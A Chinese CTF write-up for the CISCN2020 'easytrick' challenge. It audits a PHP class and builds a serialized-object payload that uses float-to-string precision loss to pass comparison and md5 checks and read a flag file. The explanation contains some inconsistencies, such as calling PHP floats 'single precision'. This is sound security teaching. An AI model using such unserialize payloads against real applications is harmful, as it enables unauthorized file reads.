CISCN2020-easytrick

本文阅读 7 分钟
首页 代码,C/C#/C++ 正文

1.CISCN2020-easytrick

第一步:代码审计

<?php
class trick{            //类:trick
    public $trick1;        //公有属性:$trick1
    public $trick2;        //公有属性:$trick2
    public function __destruct(){    //公有析构方法:当所在类的实例化对象销毁前,自动被调用
        $this->trick1 = (string)$this->trick1;    //把属性$trick1转化为字符型数据
        if(strlen($this->trick1) > 5 || strlen($this->trick2) > 5){    //判断属性$trick1和$trick2的长度是否为大于5
            die("你太长了");                                         //若大于,则退出程序,并且返回:“你太长了”
        }
        if($this->trick1 !== $this->trick2 && md5($this->trick1) === md5($this->trick2) && $this->trick1 != $this->trick2){
            echo file_get_contents("/flag");        //若同时满足以上的三个条件,则打印出根目录下的flag
        }
    }
}
highlight_file(__FILE__);                            //高亮显示当前页面源码
unserialize($_GET['trick']);                        //以GET形式读取trick参数传递的值,并且反序列化

第二步:整理思路

想要打印flag-->就需要满足两个if条件-->想要执行析构方法-->需要存在当前类的实例化对象,那么才会在该脚本结束时候,自动取销毁对象

第三步:想办法绕过第一个if条件

if(strlen($this->trick1) > 5 || strlen($this->trick2) > 5){            //判断属性$trick1和$trick2的长度是否为大于5
            die("你太长了");                                         //若大于,则退出程序,并且返回:“你太长了”
}
很明显,想要绕过这个if条件,只要求两个属性的值长度小等于5即可。

第四步:想办法满足第二个if条件

if($this->trick1 !== $this->trick2 && md5($this->trick1) === md5($this->trick2) && $this->trick1 != $this->trick2){
            echo file_get_contents("./flag.php");                      //若同时满足以上的三个条件,则打印出网站根目录下的flag.php页面源码
}
(1)这里我们把上面的三个条件拿出来:
    $trick1 !== $trick2                //属性1不全等与属性2
    $trick1 !=  $trick2                //属性1不等于属性2
    md5($trick1) === md5($trick2)    //属性1的md5值要全等于属性2的md5值

(2)想要同时满足以上的条件,我们要先熟悉一下php的比较运算:
    $a  ==   $b                        //弱等于,成立条件:值相同
    $a  ===  $b                        //强等于,成立条件:数据类型相同,值相同
    $a  !=   $b                        //不弱等于,成立条件:值不同
    $a  !==  $b                        //不强等于,成立条件:数据类型不同,或者值不同

(3)通过上面的学习,我们会发现要满足以上的条件,就需要:
    属性1和属性2的数据类型不同,或者值不同
    属性1和属性2的值不同
    属性1的md5值和属性2的md5值的数据类型和值都相同
    //这里只要满足属性1和属性2的值不同,并且md5值数据类型和值都相同
    
(4)这里还会发现在if条件之前,还会有一个类型转换:
    $this->trick1 = (string)$this->trick1;    //把属性$trick1转化为字符型
    
(5)这里我们可以利用:单精度浮点数在小数点后15位的时候,如果进行函数运算就会发生衰减
    $a = 0.1;
    $b = 0.1000000000000001;        //15位
    var_dump($a!=$b);
    var_dump($a!==$b);
    var_dump(md5($a)===md5($b));
    //boolean true
    //boolean true
    //boolean true
    //很明显:都成立了,满足了值不同,但是md5后的类型和值都相同

第五步:编写代码,构造payload

$chen = new trick();
$chen->trick1 = 0.1;
$chen->trick2 = 0.100000000000001;
$chen = serialize($chen);
echo $chen."<br />";
//O:5:"trick":2:{s:6:"trick1";d:0.10000000000000001;s:6:"trick2";d:0.100000000000001;}

因此payload:

?trick=O:5:"trick":2:{s:6:"trick1";d:0.10000000000000001;s:6:"trick2";d:0.100000000000001;}

查看页面源码,发现flag:

$flag = "flag{this_is_test!!!}";

2.总结

1.php的比较运算:

$a  ==   $b                        //弱等于,成立条件:数据类型自动转换只比较值,值相同
$a  ===  $b                        //强等于,成立条件:数据类型和值都要相同
$a  !=   $b                        //不弱等于,成立条件:数据类型自动转换只比较值,值不同
$a  !==  $b                        //不强等于,成立条件:数据类型不同,或者值不同

2.单精度浮点数,精确到小数点后15位的问题!!!

#1.总结:
//单精度,精确到小数点后15位的问题!!!
//在比较运算的时候,精确到15位,不衰减
//在函数运算的时候,精确到15位,衰减

#2.例子:
//比较运算,不衰减
#var_dump(0.1 != 0.100000000000001);
#var_dump(0.1 !== 0.100000000000001);

//函数运算,衰减
#var_dump(0.1);                    
#var_dump(0.100000000000001);        //实际运算的是:var_dump(0.1)
#var_dump(md5(0.1));
#var_dump(md5(0.100000000000001));    //实际运算的是:var_dump(0.1)

3.思路

#思路:
//要想打印flag.php页面源码,就要满足两个if条件
//要想执行两个if判断,就要执行析构方法
//要想执行析构方法,就要创建当前类的对象,以便在对象销毁前,自动调用该方法

#因此:
//我们要传入当前类的对象,并且反序列化
//为了满足if条件,同时还要给属性赋值

#第一步:分析if条件1
//if(strlen($this->trick1) > 5 || strlen($this->trick2) > 5){     //判断属性的值是否大于5
//    die("你太长了");        //若大于5,则退出
//}
//很明显:只要满足两个属性的值,在进行strlen()函数运算的时候,结果不大于5即可

#第二步:分析if条件2
//$this->trick1 = (string)$this->trick1;      //把属性$trick1,转化为字符串数据类型
//if($this->trick1 !== $this->trick2 && md5($this->trick1) === md5($this->trick2) && $this->trick1 != $this->trick2){     //判断三个条件是否成立
//    echo file_get_contents("./flag.php");        //若成立,则打印出当前目录下的flag.php页面源码
//}
//分析,三个比较运算:
//$this->trick1 !== $this->trick2               //属性1不全等于属性2,成立条件:数据类型不同,或者值不同
//md5($this->trick1) === md5($this->trick2)     //属性1的md5值全等于属性2的md5值,成立条件:数据类型和值都要相同
//$this->trick1 != $this->trick2                //属性1不弱等于属性2,成立条件:数据类型自动转化相同,只需要值不同
//因此,属性1和属性2要满足以下条件:
    //两个属性值必须不同,数据类型同不同无所谓
    //两个属性的md5值必须全等,也就是数据类型的值都要相同

#php单精度浮点数,在精确到小数点15后的时候,只要一遇到函数运算,就会衰减
//$a = 0.1;
//$b = 0.100000000000001;
//var_dump($a != $b);                 //boolean true      //因为值不同
//var_dump($a !== $b);                //boolean true      //因为值不同
//var_dump(strlen($a)<5);             //boolean true      //strlen(0.1)<=5,正常
//var_dump(strlen($b)<5);             //boolean true      //发生了衰减,strlen($b)实际执行的是strlen(0.1)
//var_dump(md5($a) === md5($b));      //boolean true      //发生了衰减,md5($b)实际执行的是md5(0.1)

#注意:$this->trick1 = (string)$this->trick1;      //把属性$trick1,转化为字符串数据类型
//$a = '0.1';
//$b = 0.100000000000001;
//#$a和$b直接进行比较运算的时候,值肯定不同,那么满足不弱等于和不强等于
//#$a和$b的长度比较
//echo strlen($a)."<br />";   //3     //因为strlen($a)==>strlen('0.1')==>误以为是计算0.1的长度
//echo strlen($b)."<br />";   //3     //strlen(0.1),直接运算0.1
//#接着比较md5
//var_dump(md5($a));  //string 'cb5ae17636e975f9bf71ddf5bc542075' (length=32)     //md5('0.1')--》误以为运算0.1
//var_dump(md5($b));  //string 'cb5ae17636e975f9bf71ddf5bc542075' (length=32)     //md5(0.1)--》直接运算0.1

#第三步:我们既然满足了if条件,这里就要开始实例化类的对象了
//$chen = new trick();
//$chen->trick1 = 0.1;
//$chen->trick2 = 0.100000000000001;
//$chen = serialize($chen);
//echo $chen."<br />";
//查看页面源码,发现我们打印的payload:
//O:5:"trick":2:{s:6:"trick1";d:0.10000000000000001;s:6:"trick2";d:0.100000000000001;}

#传入payload:
//?trick=O:5:"trick":2:{s:6:"trick1";d:0.10000000000000001;s:6:"trick2";d:0.100000000000001;}
//查看页面源码,发现flag:$flag = "flag{this_is_test!!!}";

#观察payload:我们会发现0.1被序列化成了0.1000000000000001
//因此:精确到15位和到16为位,都会在函数运算的时候衰减到0.1
//0.1 = 0.1000000000000001
//0.1 = 0.100000000000001
本文为互联网自动采集或经作者授权后发布,本文观点不代表立场,若侵权下架请联系我们删帖处理!文章出自:https://blog.csdn.net/qq_45555226/article/details/109869504
-- 展开阅读全文 --
KillDefender 的 Beacon 对象文件 PoC 实现
« 上一篇 02-09
Web安全—逻辑越权漏洞(BAC)
下一篇 » 03-13

发表评论

成为第一个评论的人

热门文章

标签TAG

最近回复